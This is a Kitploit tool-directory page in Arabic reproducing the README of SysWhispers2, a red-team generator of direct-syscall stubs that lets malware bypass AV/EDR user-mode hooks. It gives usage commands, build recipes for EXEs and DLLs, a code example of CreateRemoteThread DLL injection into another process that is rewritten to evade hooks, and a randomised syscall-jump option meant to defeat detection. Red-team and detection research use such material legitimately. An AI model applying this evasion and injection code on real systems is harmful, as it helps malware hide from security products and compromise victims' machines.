Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
SysWhispers2 — التهرب من AV/EDR عبر استدعاءات النظام المباشرة. | Kitploit
أدوات/GitHubGitHub/jthuraisamy/syswhispers2
أدوات دفاعيةتوليد الحمولةالتهرب من IDS/IPSشيل كودالفريق الأحمرتوليد شيفرة القشرةتطوير الحمولاتاستغلال الملفات الثنائيةالأفضل في التهرب من IDS/IPS #18الأفضل في تطوير الحمولات #6
1.8k26512منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الأفضل في توليد الحمولة #8
الأفضل في شيل كود #6
الأفضل في توليد شيفرة القشرة #8
GitHubjthuraisamy/syswhispers2

SysWhispers2

التهرب من AV/EDR عبر استدعاءات النظام المباشرة.

عرض المستودع

SysWhispers2

يساعد SysWhispers في التهرب عن طريق توليد ملفات رأس (header) ولغة التجميع (ASM) يمكن للبرامج الضارة استخدامها لإجراء استدعاءات نظام مباشرة.

جميع استدعاءات النظام الأساسية مدعومة، وملفات مثال مولدة متوفرة في المجلد example-output/.

الفرق بين SysWhispers 1 و 2

الاستخدام متطابق تقريبًا مع SysWhispers1 لكن لا يتعين عليك تحديد إصدارات Windows التي تريد دعمها. معظم التغييرات مخفية تحت الغطاء. لم يعد يعتمد على جداول استدعاء النظام الخاصة بـ @j00ru (syscall tables)، وبدلاً من ذلك يستخدم تقنية "الترتيب حسب عنوان استدعاء النظام" التي نشرها @modexpblog. وهذا يقلل بشكل كبير من حجم كتل استدعاءات النظام (syscall stubs).

التنفيذ المحدد في SysWhispers2 هو اختلاف عن كود @modexpblog. أحد الاختلافات هو أن تجزئات أسماء الدوال (function name hashes) يتم عشوائيتها في كل توليد. @ElephantSe4l، الذي نشر هذه التقنية في وقت سابق، لديه تطبيق آخر يعتمد على C++17 يستحق الإطلاع عليه أيضًا.

مستودع SysWhispers الأصلي لا يزال قائمًا لكن قد يتم إهماله في المستقبل.

مقدمة

تضع منتجات الأمان المختلفة خطافات في دوال وضع المستخدم (user-mode API functions) والتي تسمح لها بإعادة توجيه تدفق التنفيذ إلى محركاتها والكشف عن السلوك المشبوه. الدوال في ntdll.dll التي تقوم باستدعاءات النظام تتكون من بضع تعليمات تجميع فقط، لذا فإن إعادة تنفيذها في برنامجك الضار الخاص يمكن أن يتجاوز تفعيل خطافات منتجات الأمان تلك. هذه التقنية نُشرت بواسطة @Cn33liz وتحتوي مقالته على تفاصيل تقنية تستحق القراءة.

يوفر SysWhispers لفِرق الاختراق (red teamers) القدرة على توليد أزواج من ملفات الرأس (header) والتجميع (ASM) لأي استدعاء نظام في صورة نواة النظام الأساسية (ntoskrnl.exe). ستتضمن ملفات الرأس أيضًا تعريفات الأنواع الضرورية.

التثبيت

root@kitploit:~
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help

الاستخدام والأمثلة

أسطر الأوامر

root@kitploit:~
# تصدير جميع الدوال مع التوافق لجميع إصدارات Windows المدعومة (انظر example-output/).
py .\syswhispers.py --preset all -o syscalls_all

# تصدير الدوال الشائعة فقط (انظر القائمة أدناه).
py .\syswhispers.py --preset common -o syscalls_common

# تصدير NtProtectVirtualMemory و NtWriteVirtualMemory مع التوافق لجميع الإصدارات.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem

إخراج البرنامج النصي

root@kitploit:~
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common

python syswhispers.py -p all -a all -l all -o example-output/Syscalls

                  .                         ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-.    /
`-. | | `-. |/|/  | | | `-. | | |-' |   `-. ,-'
`-' `-| `-' ' '   ' ' ' `-' |-' `-' '   `-' `---
     /|                     |  @Jackson_T
    `-'                     '  @modexpblog, 2021

SysWhispers2: Why call the kernel when you can whisper?

تم تحديد جميع الدوال.

اكتمل! تمت كتابة الملفات إلى:
        example-output/Syscalls.h
        example-output/Syscalls.c
        example-output/SyscallsStubs.std.x86.asm
        example-output/SyscallsStubs.rnd.x86.asm
        example-output/SyscallsStubs.std.x86.nasm
        example-output/SyscallsStubs.rnd.x86.nasm
        example-output/SyscallsStubs.std.x86.s
        example-output/SyscallsStubs.rnd.x86.s
        example-output/SyscallsInline.std.x86.h
        example-output/SyscallsInline.rnd.x86.h
        example-output/SyscallsStubs.std.x64.asm
        example-output/SyscallsStubs.rnd.x64.asm
        example-output/SyscallsStubs.std.x64.nasm
        example-output/SyscallsStubs.rnd.x64.nasm
        example-output/SyscallsStubs.std.x64.s
        example-output/SyscallsStubs.rnd.x64.s
        example-output/SyscallsInline.std.x64.h
        example-output/SyscallsInline.rnd.x64.h

مثال قبل وبعد لحقن DLL الكلاسيكي CreateRemoteThread

root@kitploit:~
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
root@kitploit:~
#include <Windows.h>

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
    CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
root@kitploit:~
#include <Windows.h>
#include "syscalls.h" // استيراد ملف الرأس المولد.

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    HANDLE hThread = NULL;
    LPVOID lpAllocationStart = nullptr;
    SIZE_T szAllocationSize = strlen(dllPath);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}

الدوال الشائعة

استخدام المفتاح --preset common سينشئ زوج ملف رأس/تجميع مع الدوال التالية:

اضغط لتوسيع قائمة الدوال.
  • NtCreateProcess (CreateProcess)
  • NtCreateThreadEx (CreateRemoteThread)
  • NtOpenProcess (OpenProcess)
  • NtOpenThread (OpenThread)
  • NtSuspendProcess
  • NtSuspendThread (SuspendThread)
  • NtResumeProcess
  • NtResumeThread (ResumeThread)
  • NtGetContextThread (GetThreadContext)
  • NtSetContextThread (SetThreadContext)
  • NtClose (CloseHandle)
  • NtReadVirtualMemory (ReadProcessMemory)
  • NtWriteVirtualMemory (WriteProcessMemory)
  • NtAllocateVirtualMemory (VirtualAllocEx)
  • NtProtectVirtualMemory (VirtualProtectEx)
  • NtFreeVirtualMemory (VirtualFreeEx)
  • NtQuerySystemInformation (GetSystemInfo)
  • NtQueryDirectoryFile
  • NtQueryInformationFile
  • NtQueryInformationProcess
  • NtQueryInformationThread
  • NtCreateSection (CreateFileMapping)
  • NtOpenSection
  • NtMapViewOfSection
  • NtUnmapViewOfSection
  • NtAdjustPrivilegesToken (AdjustTokenPrivileges)
  • NtDeviceIoControlFile (DeviceIoControl)
  • NtQueueApcThread (QueueUserAPC)
  • NtWaitForMultipleObjects (WaitForMultipleObjectsEx)

الاستيراد إلى Visual Studio

  1. انسخ ملفات H/C/ASM المولدة إلى مجلد المشروع.
  2. في Visual Studio، اذهب إلى Project → Build Customizations... وقم بتمكين MASM.
  3. في Solution Explorer، أضف ملفات .h و .c/.asm إلى المشروع كملفات رأس ومصدر على التوالي.
  4. اذهب إلى خصائص ملف ASM الخاص بـ x86.
  5. اختر All Configurations من القائمة المنسدلة Configurations.
  6. اختر Win32 من القائمة المنسدلة Platform.
  7. عيّن الخيارات التالية:
    • Excluded From Build = No
    • Content = Yes
    • Item Type = Microsoft Macro Assembler
  8. انقر على Apply
  9. اختر x64 من القائمة المنسدلة Platform.
  10. عيّن الخيارات التالية:
    • Excluded From Build = Yes
    • Content = Yes
    • Item Type = Microsoft Macro Assembler
  11. انقر على Apply، ثم OK.
  12. اذهب إلى خصائص ملف ASM الخاص بـ x64.
  13. اختر All Configurations من القائمة المنسدلة Configurations.
  14. اختر Win32 من القائمة المنسدلة Platform.
  15. عيّن الخيارات التالية:
    • Excluded From Build = Yes
    • Content = Yes
    • Item Type = Microsoft Macro Assembler
  16. انقر على Apply
  17. اختر x64 من القائمة المنسدلة Platform.
  18. عيّن الخيارات التالية:
    • Excluded From Build = No
    • Content = Yes
    • Item Type = Microsoft Macro Assembler
  19. انقر على Apply، ثم OK.

الترجمة باستخدام MinGW و NASM

توضح الأمثلة التالية كيفية ترجمة برامج الأمثلة أعلاه كملفات EXE و DLL باستخدام MinGW ومُجمّع NASM:

مثال EXE لـ x86

root@kitploit:~
i686-w64-mingw32-gcc -c main.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-gcc *.o -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe

مثال DLL لـ x86 مع الصادرات

root@kitploit:~
i686-w64-mingw32-gcc -c dllmain.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll

مثال EXE لـ x64

root@kitploit:~
x86_64-w64-mingw32-gcc -m64 -c main.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc *.o -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe

مثال DLL لـ x64 مع الصادرات

root@kitploit:~
x86_64-w64-mingw32-gcc -m64 -c dllmain.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll

الترجمة باستخدام MinGW و GNU Assembler (GAS)

مثال EXE لـ x86

root@kitploit:~
i686-w64-mingw32-gcc -m32 -Wall -c main.c syscalls.c syscallsstubs.std.x86.s -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe

مثال DLL لـ x86 مع الصادرات

root@kitploit:~
i686-w64-mingw32-gcc -m32 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x86.s -o temp.dll
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll

مثال EXE لـ x64

root@kitploit:~
x86_64-w64-mingw32-gcc -m64 -Wall -c main.c syscalls.c syscallsstubs.std.x64.s -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe

مثال DLL لـ x64 مع الصادرات

root@kitploit:~
x86_64-w64-mingw32-gcc -m64 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x64.s -o temp.dll
x86_64-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll

الاستخدام مع LLVM/Clang

يقوم SysWhispers2 بإخراج ملف .s متوافق مع clang يحتوي على كتل التجميع (ASM stubs). يمكن استخدامه مع llvm لترجمة كودك. على سبيل المثال، باستخدام مثال حقن DLL CreateRemoteThread أعلاه:

root@kitploit:~
clang -D nullptr=NULL main.c syscall.c syscallstubs.std.x64.s -o test.exe

رأس مضمَّن فقط (Inline Header Only)

سيقوم خيار الإخراج inlinegas بتوليد نسخة رأس فقط من Syswhispers2 يمكن استخدامها مع ترجمة BOFs. فقط قم بتضمين ملف الرأس في مشروعك.

قفزات استدعاء النظام العشوائية

باستخدام روتين قفز استدعاء النظام العشوائي، من الممكن تجنب "علامة استدعاء النظام" (mark of the syscall). تقوم كتلة التجميع باستدعاء دالة جديدة SW__GetRandomSyscallAddress التي تبحث عن تعليمة استدعاء نظام نظيفة في ntdll.dll وتختارها لاستخدامها. بفعل ذلك، من الممكن تجنب تفعيل تعليمات استدعاء النظام في وضع المستخدم أيضًا.

لاستخدام قفزات استدعاء النظام العشوائية، ستحتاج إلى تعريف RANDSYSCALL عند ترجمة برنامجك واستخدام الإصدار rnd من إخراج SysWhispers2. توضح الأمثلة التالية استخدام كتل تجميع GNU Assembler.

مثال EXE لـ x86 - باستخدام قفزات استدعاء النظام العشوائية

root@kitploit:~
i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe

مثال EXE لـ x64 - باستخدام قفزات استدعاء النظام العشوائية

root@kitploit:~
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe

تحذيرات وقيود

  • استدعاءات النظام من النظم الفرعية الرسومية (win32k.sys) غير مدعومة.
  • تم الاختبار على Visual Studio 2019 (v142) مع Windows 10 SDK.

استكشاف الأخطاء وإصلاحها

  • أخطاء إعادة تعريف الأنواع: قد لا يتم ترجمة مشروع إذا كانت تعريفات الأنواع في syscalls.h قد تم تعريفها بالفعل.
    • تأكد من تضمين الدوال المطلوبة فقط (أي --preset all نادراً ما يكون ضرورياً).
    • إذا كان تعريف النوع موجودًا بالفعل في ملف رأس آخر مستخدم، فيمكن إزالته من syscalls.h.

الاعتمادات

تم التطوير بواسطة @Jackson_T و @modexpblog، ولكنه يبني على عمل العديد من الآخرين:

  • @FoxHex0ne لفهرسة العديد من نماذج الدوال وتعريفات الأنواع بتنسيق قابل للقراءة آليًا.
  • @PetrBenes، فريق NTInternals.net، و MSDN لنماذج وتعريفات إضافية.
  • @Cn33liz لتطبيق Dumpert الأولي.

المقالات والمشاريع ذات الصلة

  • @modexpblog: Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams
  • @hodg87: Malware Mitigation when Direct System Calls are Used
  • @Cn33liz: Combining Direct System Calls and sRDI to bypass AV/EDR (Code)
  • @0x00dtm: Userland API Monitoring and Code Injection Detection
  • @0x00dtm: Defeating Userland Hooks (ft. Bitdefender) (Code)
  • @mrgretzky: Defeating Antivirus Real-time Protection From The Inside
  • @SpecialHoang: Bypass EDR’s memory protection, introduction to hooking (Code)
  • @xpn and @domchell: Silencing Cylance: A Case Study in Modern EDRs
  • @mrjefftang: Universal Unhooking: Blinding Security Software ()

مراجع إلى SysWhispers

  • @JFaust_: Process Injection Part 1, Part 2, and Alaris loader project (Code)
  • @0xPat: Malware Development Part 2
  • @brsn76945860: Implementing Syscalls In The CobaltStrike Artifact Kit
  • @Cn33liz and @_DaWouw: Direct Syscalls in Beacon Object Files (Code)

الترخيص

هذا المشروع مرخص بموجب رخصة Apache License 2.0.

تنزيل الأداة
Code
  • @spotheplanet: Full DLL Unhooking with C++
  • @hasherezade: Floki Bot and the stealthy dropper
  • @hodg87: Latest Trickbot Variant has New Tricks Up Its Sleeve